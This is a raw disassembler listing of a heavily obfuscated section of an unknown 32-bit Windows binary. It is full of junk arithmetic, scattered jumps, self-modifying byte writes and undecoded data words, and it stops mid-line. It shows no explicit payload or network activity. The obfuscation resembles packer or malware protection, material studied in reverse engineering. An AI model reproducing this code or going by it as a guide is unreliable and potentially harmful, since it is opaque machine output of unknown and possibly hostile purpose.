align 4 dd 404E8h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027962: ; CODE XREF: sub_1002707B+136j jmp loc_10027217 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF657h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD "+" TO EXPAND] align 10h loc_10027970: ; CODE XREF: _3a14gzkz:1002761Ej jmp loc_10027ED4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10027975: ; CODE XREF: sub_10027C41:loc_10028678j mov byte ptr [eax], 8Bh pop eax push ebp loc_1002797A: ; DATA XREF: sub_10027C41:loc_10028581o mov ebp, esp push offset loc_10026F12 jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- retf 3B1Ah ; --------------------------------------------------------------------------- db 82h dd 0FAC9E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027795 loc_10027992: ; CODE XREF: sub_10027795+Aj push 958B1E2h xchg ebp, [esp+4+var_4] mov edx, ebp pop ebp rol edx, 0Bh add edx, 39C3AAAh jmp loc_10029403 ; END OF FUNCTION CHUNK FOR sub_10027795 ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_100279AD proc near ; CODE XREF: sub_1002707B+203p ; _3a14gzkz:10027B1Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 1002700D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1002742C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10027B80 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100283AF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028C66 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10028DC6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002969E SIZE 00000026 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] mov edi, offset loc_10027B86 jmp loc_10027B80 sub_100279AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- or edx, 0E159EC37h test edx, 40000000h jmp loc_100291C9 ; --------------------------------------------------------------------------- align 10h dd 4DC3F700h, 0E96861BEh, 1747h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_100279DD: ; CODE XREF: sub_10027810+741j push edx loc_100279DE: ; CODE XREF: sub_1002707B:loc_10029797j mov edx, offset loc_10029467 jmp loc_10028AE4 ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- dd 0F86C820Fh, 0A4E9FFFFh, 0 dword_100279F4 dd 24048700h, 1BE75958h, 0E9241C87h, 0C0Eh, 303C600h, 8D69685Bh ; DATA XREF: _3a14gzkz:10029838o dd 63E91002h, 19h, 815B9900h, 0BE486CF2h, 0FF9CE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_10027A22: ; DATA XREF: _3a14gzkz:100276F0o push 0F9CDF224h pop ecx and ecx, 643485C6h add ecx, 35316340h jmp loc_10027508 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10027A3B: ; CODE XREF: sub_100273B0:loc_100287A0j add ecx, 17AF0B89h xchg ecx, [esp+8+var_8] jmp sub_10028DD4 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- lea eax, byte_10027125+2 loc_10027A4F: ; DATA XREF: sub_100273B0+6o mov byte ptr [eax], 0C3h call locret_10027D57 jmp loc_10029251 ; --------------------------------------------------------------------------- dd 744B59B8h, 69F18111h, 0E9E5C76Bh, 0FFFFFDEEh, 77680000h dd 0E9100296h, 5DEh, 9C03C600h, 3C0C15Bh, 55FAC081h, 850FD350h dd 4F8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10027A8C: ; CODE XREF: sub_10028AC5+C57j jmp loc_10028341 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- popf jmp loc_10028509 ; --------------------------------------------------------------------------- cmp esi, eax jmp loc_1002954B ; --------------------------------------------------------------------------- loc_10027A9E: ; CODE XREF: _3a14gzkz:100276DDj add eax, 0CB399CB3h xor eax, 6F108B6h add eax, ebp push ecx push 0D3965D9Ch jmp loc_10028F6F ; --------------------------------------------------------------------------- loc_10027AB7: ; CODE XREF: _3a14gzkz:10028214j popf ; =============== S U B R O U T I N E ======================================= sub_10027AB8 proc near ; CODE XREF: _3a14gzkz:10028480p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 1002790A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100287A5 SIZE 00000026 BYTES xchg edx, [esp+0] pop edx xchg ebp, [esp-4+arg_0] mov edi, ebp pop ebp jmp loc_100287A5 sub_10027AB8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi ; =============== S U B R O U T I N E ======================================= sub_10027AC8 proc near ; CODE XREF: sub_1002781D:loc_10026F8Cp ; FUNCTION CHUNK AT 10028EF1 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov byte ptr [ebx], 9Ch jmp loc_10028EF1 sub_10027AC8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 879D0000h, 875E2434h, 0CFE9240Ch, 0Ah, 1A28E800h, 0C2810000h dd 22EECDBDh, 1487128Bh, 0A4CE824h, 0E9000000h, 12DCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027B00: ; CODE XREF: sub_1002707B:loc_100296F1j xchg edx, [esp+8+var_8] mov eax, edx pop edx or eax, 28475D0Eh jmp loc_1002767C ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 2 mov eax, 3F4E5C28h jns loc_10028A5A jmp sub_100279AD ; --------------------------------------------------------------------------- dw 0C300h dd 68530000h, 0CB301B7Fh, 99E3815Bh, 811A9DBDh, 48B5AFBh dd 1887E914h, 0E99C0000h, 1A34h off_10027B44 dd offset sub_100299B9 ; DATA XREF: _3a14gzkz:10027390o dd 0 dword_10027B4C dd 116h ; DATA XREF: sub_10029627-8A8r dd 0FD6CE900h, 0FFFFh, 0FFFCD6E9h, 0FFh, 6760ED1Ah db 0 ; --------------------------------------------------------------------------- loc_10027B65: ; CODE XREF: _3a14gzkz:10029750j jmp locret_10027CE1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10027B6C: ; CODE XREF: sub_1002781D-87Cj jmp loc_10026EE4 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 2 dw 14FCh dd 0C18B5024h, 0E9240487h, 0FFFFF80Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_10027B80: ; CODE XREF: sub_100279AD+Cj mov byte ptr [edi], 87h pop edi mov edx, eax loc_10027B86: ; DATA XREF: sub_100279AD+7o xchg edx, [esp+0] push esi push 80CA2B7Ah jmp loc_10028C66 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dd 0C303C600h, 2434875Bh, 0C35E5D56h, 0FDE90000h, 11h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028B63 loc_10027BA8: ; CODE XREF: sub_10028B63+19j jmp near ptr dword_10027558+0Fh ; END OF FUNCTION CHUNK FOR sub_10028B63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_10027BAD: ; CODE XREF: sub_1002735F:loc_10029073j jmp loc_1002902C ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- align 4 dd 0FE3BE95Eh, 0FFFFh ; --------------------------------------------------------------------------- loc_10027BBC: ; CODE XREF: _3a14gzkz:loc_10027E3Aj xchg eax, [esp] push ebx mov ebx, ecx xchg ebx, [esp] jmp loc_100275FD ; --------------------------------------------------------------------------- dw 6800h dd 0DE5BB1F2h, 6FE9CF87h, 9, 9EE99C00h, 81000000h, 358892E8h ; CODE XREF: sub_10029299+8j dd 0D0F8813Ch, 0E999299Fh, 0C06h, 87F28B56h db 34h, 24h word_10027BF6 dw 6847h ; DATA XREF: sub_1002781D-9A1o dd offset sub_10028BDF dd 0FFF146E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- loc_10027C05: ; DATA XREF: sub_1002964F+4o mov byte ptr [ecx], 87h pop ecx add edx, 36210866h dec esi retn 8F5Ah ; DATA XREF: _3a14gzkz:100284C7o ; --------------------------------------------------------------------------- add al, 24h ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10027C15: ; CODE XREF: sub_10028A10-3EAj ; sub_10028DD4+536j or edx, edx jmp loc_1002932F ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 56108B00h, 33CCC168h, 241C8793h, 1492E9h db 0 ; --------------------------------------------------------------------------- loc_10027C2D: ; CODE XREF: _3a14gzkz:10028209j add esi, ebx pop ebx loc_10027C30: ; DATA XREF: sub_1002707B:loc_10028AEBo outsd db 36h call sub_10027CEA ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027C39: ; CODE XREF: sub_1002707B+FD5j jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- rol edx, 19h ; =============== S U B R O U T I N E ======================================= sub_10027C41 proc near ; CODE XREF: _3a14gzkz:loc_100280CEp ; FUNCTION CHUNK AT 10027502 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10027975 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10028581 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028678 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100291E1 SIZE 00000011 BYTES xchg edi, [esp+0] pop edi mov byte ptr [eax], 87h pop eax pop esi or edi, 99D583F0h jmp loc_100291E1 sub_10027C41 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- jmp near ptr sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0BED80h, 0E9CD8B00h, 16AAh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027C6D: ; CODE XREF: sub_1002707B+197j push 9912B3A6h push esi mov esi, offset loc_10028739 jmp loc_1002775E ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 8B240487h, 58D58C8h, 10028707h, 0FFFA52E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10027C93: ; CODE XREF: _3a14gzkz:loc_1002906Dj push ecx push 0E2C7BD47h pop ecx and ecx, 7D30CE8h call sub_10028A10 add [ecx+5078C5E6h], al ; CODE XREF: _3a14gzkz:loc_100296D6j sbb cl, al mov byte ptr [edx], 81h inc cl inc edi sub eax, 0FE41E90Fh ; --------------------------------------------------------------------------- dd 9D00FFFFh, 0FFFA3BE9h, 0C30000FFh, 11E99D00h db 8, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_10027CCC: ; CODE XREF: sub_1002735F+1CD2j jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF034h, 0DD2B0000h, 15B8E9h db 0 ; --------------------------------------------------------------------------- locret_10027CE1: ; CODE XREF: _3a14gzkz:loc_10027B65j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10027CE3: ; CODE XREF: sub_100274A4+1793j call near ptr sub_1002707B ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10027CEA proc near ; CODE XREF: _3a14gzkz:10027C31p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10027E5C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg esi, [esp-4+arg_0] call ds:dword_1001E0C0 ; ExitProcess push edx push 0B75B9089h pop edx jmp loc_10027D95 ; --------------------------------------------------------------------------- push 6F4F1C94h mov al, 2Ch and al, 55h pop eax pop ebp loc_10027D0E: ; CODE XREF: _3a14gzkz:10029551j sub eax, 3C358892h xor eax, 0C525D9E8h jmp near ptr dword_1002759C+2 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_10027D21: ; CODE XREF: _3a14gzkz:10028F87j pop ecx push offset word_10029272 jmp loc_10027E5C ; --------------------------------------------------------------------------- dd 0E8F08100h, 81C525D9h, 552E0BC8h, 0BA3E9C3h, 50000000h dd 0AF47E668h, 0F8E6E821h, 8B00FFFFh, 1C875AF2h, 5BEB8B24h ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- locret_10027D57: ; CODE XREF: _3a14gzkz:10027A52p ; _3a14gzkz:1002873Cp ... retn ; --------------------------------------------------------------------------- dd offset loc_10028C14 dword_10027D5C dd 0FFF93EE9h, 230000FFh, 240C87CFh, 8706C659h, 8B240487h dd 0F390E9F0h, 0C80BFFFFh, 5F243C87h, 87FA8B57h, 0CBE9243Ch dd 87000004h, 0EB92414h, 0E9100289h, 0FFFFF1A2h db 0 ; --------------------------------------------------------------------------- loc_10027D95: ; CODE XREF: sub_10027CEA+14j and edx, 7486AC45h push offset loc_10029613 jmp nullsub_224 sub_10027CEA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h mov ebx, eax pop eax and ebx, 4824E34Ch jmp loc_10028CE5 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10027DBA: ; CODE XREF: _3a14gzkz:100278B1j jmp near ptr dword_10026D18+55h ; --------------------------------------------------------------------------- align 10h dd 57C18700h, 1886E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027DCD: ; CODE XREF: sub_1002707B+2669j push edi push 7552D5EBh pop edi add edi, 69066E5Bh and edi, 0F50A57B6h xor edi, 9AB9E4B0h jmp loc_100285AB ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 jb loc_10028B6A ; =============== S U B R O U T I N E ======================================= sub_10027DF2 proc near ; CODE XREF: sub_100289FE-19A3p xchg esi, [esp+0] pop esi call eax sub_10027DF2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027DF8: ; CODE XREF: sub_1002707B:loc_1002752Aj ; _3a14gzkz:loc_100293F1j push offset sub_100295A6 jmp nullsub_231 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- or al, 24h pop ecx xchg eax, [esp] call loc_10028CD4 ; START OF FUNCTION CHUNK FOR sub_100284E2 loc_10027E0F: ; CODE XREF: sub_100284E2+Dj jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_100284E2 ; --------------------------------------------------------------------------- dd 8793BF00h, 68E9748Bh, 19h, 0E9C38100h, 81E17EFDh, 472411F3h dd 4CB815Bh, 0E8E8BBB8h, 144Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_10027E3A: ; CODE XREF: _3a14gzkz:10028F62j jmp loc_10027BBC ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10027E41: ; CODE XREF: sub_10028DD4-4D7j jmp loc_10028C4D ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dw 0E900h dd 131Fh, 0D4BB0000h, 0E9100296h, 0FFFFEE90h, 0C30000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027CEA loc_10027E5C: ; CODE XREF: sub_10027CEA+3Dj jmp nullsub_243 ; END OF FUNCTION CHUNK FOR sub_10027CEA ; --------------------------------------------------------------------------- db 68h, 0FFh, 11h dd 1C879768h, 5BF38B24h, 0E919C6C1h, 0FFFFFCDDh, 0DA230000h dd 107BE9h, 5DE95A00h, 13000000h, 0F0CE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10027E8A: ; CODE XREF: sub_100273B0:loc_10028069j mov byte ptr [ecx], 0C6h pop ecx push ecx lea eax, byte_10028707 push ecx push 32CFB605h pop ecx jmp loc_10028487 ; END OF FUNCTION CHUNK FOR sub_100273B0 ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h dd 0D87h ; --------------------------------------------------------------------------- loc_10027EA8: ; CODE XREF: _3a14gzkz:loc_10028523j mov edi, offset loc_10029224 jmp loc_10028F51 ; --------------------------------------------------------------------------- dd offset loc_10018A0E+1 align 4 jmp near ptr sub_10028CB7 ; --------------------------------------------------------------------------- align 2 and esi, ebx jmp sub_10029627 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 dd 0FFFB38E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10027ECE: ; CODE XREF: _3a14gzkz:10027EDAj jmp loc_10028889 ; --------------------------------------------------------------------------- align 4 loc_10027ED4: ; CODE XREF: _3a14gzkz:loc_10027970j push ecx mov ecx, offset loc_10028612 jmp loc_10027ECE ; --------------------------------------------------------------------------- align 10h dd 5B241C87h, 0A43C2AF6h, 0EEDA850Fh, 9E9FFFFh, 0FFFFF6h dd 5E243487h, 8B240C87h, 4BE953E9h, 0FFFFFFh, 0F7D58700h dd 148DC0C5h, 0EF2E9A2h db 3 dup(0) ; --------------------------------------------------------------------------- loc_10027F13: ; DATA XREF: sub_1002707B+100o pushf push offset byte_10028429 jmp locret_10028426 ; --------------------------------------------------------------------------- loc_10027F1E: ; DATA XREF: _3a14gzkz:10027F34o xchg ecx, [esp] mov ebp, ecx call sub_100284AA loc_10027F28: ; CODE XREF: _3a14gzkz:100294FFj jmp loc_10028020 ; --------------------------------------------------------------------------- align 2 xchg ebp, [esp] mov ecx, ebp pop ebp push offset loc_10027F1E jmp locret_100285A2 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10027F40: ; CODE XREF: sub_10027810+7j ; DATA XREF: _3a14gzkz:10028247o or [ebp+12DFh], eax xchg edx, [esp-4+arg_0] mov ecx, edx pop edx xchg ebx, [esp-8+arg_4] mov esi, ebx jmp loc_100279DD ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- align 4 dword_10027F58 dd 2951C68h, 0FD71E910h ; DATA XREF: sub_10028BDF+1Eo db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100286C7 loc_10027F63: ; CODE XREF: sub_100286C7+3j push offset sub_100297B3 jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_100286C7 ; --------------------------------------------------------------------------- align 2 dw 8D0Fh dd 13F7h, 0E9F33B00h, 7D5h ; --------------------------------------------------------------------------- locret_10027F7C: ; CODE XREF: _3a14gzkz:10026F1Aj retn ; --------------------------------------------------------------------------- align 2 loc_10027F7E: ; CODE XREF: _3a14gzkz:10028517j jp loc_10027820 and eax, 0BDDDAC4h ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027F8A: ; CODE XREF: sub_1002707B:loc_10027231j jnz loc_100290F5 jns loc_1002861D cmp ebp, 3446D648h jmp loc_10029797 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 2 loc_10027FA2: ; CODE XREF: _3a14gzkz:10029005j push esi push 2C613AF3h pop esi sub esi, 0EDAF0D26h or esi, 0C940111Ah add esi, 10102D15h jmp loc_10026D12 ; --------------------------------------------------------------------------- dd 4E685700h, 5FB57617h, 7B0EF81h, 0C7C1E65Ch, 0DC7811Ah dd 0E994C606h, 1CBh, 34870000h, 128B5E24h, 26E2A68h, 0F617E910h dd 8B00FFFFh, 0F72CE917h, 0FFFFh, 1487EA8Bh, 5685A24h dd 871C983Ch, 0C88B2404h, 11C98158h, 0E9A7424Ch, 1730h dd 57850F00h db 1, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_1002801B: ; CODE XREF: sub_100274A4+1218j jmp loc_10028C2F ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- loc_10028020: ; CODE XREF: _3a14gzkz:loc_10027F28j mov byte ptr [edx], 0FFh pop edx push esi push 85C44378h pop esi or esi, 0D6EB6F36h jmp loc_100296D6 ; --------------------------------------------------------------------------- loc_10028036: ; CODE XREF: _3a14gzkz:10028F4Bj mov byte ptr [edi], 3 pop edi and eax, 1D7D796Fh push offset byte_10028113 jmp locret_100286AA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002804B: ; CODE XREF: sub_1002707B:loc_1002982Ej push offset sub_100273B0 jmp loc_10027C39 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_10028057: ; CODE XREF: sub_100275B2+1B08j jmp loc_100295D3 ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_1002805C: ; CODE XREF: sub_10028AC5-770j jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_10028063: ; CODE XREF: _3a14gzkz:loc_10026D12j xchg esi, [esp] retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273B0 loc_10028069: ; CODE XREF: sub_100273B0+Bj jmp loc_10027E8A ; END OF FUNCTION CHUNK FOR sub_100273B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD "+" TO EXPAND] align 10h db 0 ; --------------------------------------------------------------------------- loc_10028071: ; DATA XREF: sub_100274A4+1BF5o xchg edx, [esp] pop edx or edx, edx jz loc_10028082 call sub_1001E134 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10028082: ; CODE XREF: sub_10028DD4:loc_10026CABj ; _3a14gzkz:10028077j pop eax jmp loc_10028A92 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10028089: ; CODE XREF: sub_10028EFA-917j ; sub_10028AC5+8j ... push eax jmp loc_10026FD0 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- align 10h db 0, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_10028092: ; CODE XREF: sub_100274A4+1BFAj jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- align 4 jmp locret_100283FA ; --------------------------------------------------------------------------- db 50h, 8Bh, 0C3h dd 0E9240487h, 0FFFFF002h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_100280AA: ; CODE XREF: sub_100274A4+Bj jnz nullsub_180 jmp loc_100282ED ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 4 mov byte ptr [esi], 0C6h xchg eax, [esp] mov esi, eax pop eax lea eax, locret_10027D57 jmp loc_100289EC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_100280CE: ; CODE XREF: _3a14gzkz:loc_1002778Fj call sub_10027C41 add cl, ch rol dword ptr [eax], 0 ; --------------------------------------------------------------------------- dd 0B8680000h, 0E9100280h, 901h ; CODE XREF: _3a14gzkz:loc_10029603j dword_100280E4 dd 479E850h, 0 ; DATA XREF: _3a14gzkz:100273C0o ; --------------------------------------------------------------------------- loc_100280EC: ; CODE XREF: _3a14gzkz:loc_10028DE2j push offset dword_10029800 jmp loc_100291CF ; --------------------------------------------------------------------------- db 0 byte_100280F7 db 52h ; DATA XREF: sub_1002812C+Do dd 294F3BAh, 0FDA1E910h, 8B00FFFFh, 242C87EAh, 2751EBAh dd 0FA9BE910h db 2 dup(0FFh), 0 byte_10028113 db 81h ; DATA XREF: _3a14gzkz:10028040o dd 41315DF0h, 0E8C5033Ah, 11F6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_10028121: ; CODE XREF: sub_1002957A+5j jmp loc_100281CC ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10028126: ; CODE XREF: sub_1002812C+934j jmp loc_10028608 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1002812C proc far ; CODE XREF: _3a14gzkz:100277B7p ; FUNCTION CHUNK AT 100277DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028608 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002868E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002877C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100287D4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028A5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10029225 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10029569 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029756 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx xor edx, eax push edx jnz loc_10029225 push offset byte_100280F7 jmp locret_10027248 sub_1002812C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10028143 proc far ; CODE XREF: _3a14gzkz:loc_10029573p xchg eax, [esp+0] pop eax mov byte ptr [edx], 0Fh pop edx jmp loc_10026CF2 sub_10028143 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10028150 proc far ; CODE XREF: sub_10028A3B:loc_1002770Ap ; FUNCTION CHUNK AT 10028277 SIZE 00000011 BYTES xchg ecx, [esp+0] xchg edx, [esp+0] mov ecx, edx pop edx pushf push 0D202A973h pop eax jmp loc_10028277 sub_10028150 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028BD0 loc_10028165: ; CODE XREF: sub_10028BD0:loc_1002780Bj mov byte ptr [ebx], 3 pop ebx mov eax, ecx call sub_100284E2 locret_10028170: ; CODE XREF: sub_1002707B:loc_100277E4j retn ; END OF FUNCTION CHUNK FOR sub_10028BD0 ; --------------------------------------------------------------------------- align 2 loc_10028172: ; CODE XREF: _3a14gzkz:10029090j jmp loc_10028B4E ; --------------------------------------------------------------------------- align 4 dd 0B2C28100h, 68A01F8Dh, 10026FEAh, 6F3E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10028189: ; CODE XREF: sub_10028ED3-1680j xchg esi, [esp+4+var_4] push ebx push 0F8DF18C5h xchg edx, [esp+0Ch+var_C] jmp loc_10026EC4 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dw 18E8h dd 0Bh, 0CD3E9h, 0E9000000h, 0FFFFEB12h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_100281AC: ; CODE XREF: sub_100289FE+Cj pop ebx sub ebx, 8E352D58h rol ebx, 5 or ebx, 8ED51BDDh add ebx, 0B214775h add ecx, ebx pop ebx mov ecx, [ecx] jmp loc_10028D31 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002957A loc_100281CC: ; CODE XREF: sub_1002957A:loc_10028121j push 0AC5A3F4Fh pop ebx and ebx, 0F6DF3EA0h xor ebx, 0A42D639Bh or ebx, 0BB3B3D35h add ebx, 54830521h jmp loc_1002897B ; END OF FUNCTION CHUNK FOR sub_1002957A ; --------------------------------------------------------------------------- align 10h loc_100281F0: ; CODE XREF: _3a14gzkz:loc_100286D7j pop ebx sub ebx, 0F70B8694h xor ebx, 0CFE9FE0Fh sub ebx, 0F24F25E4h add ebx, 63F4A0A4h jmp loc_10027C2D ; --------------------------------------------------------------------------- jl nullsub_236 jmp loc_10027AB7 ; [00000001 BYTES: 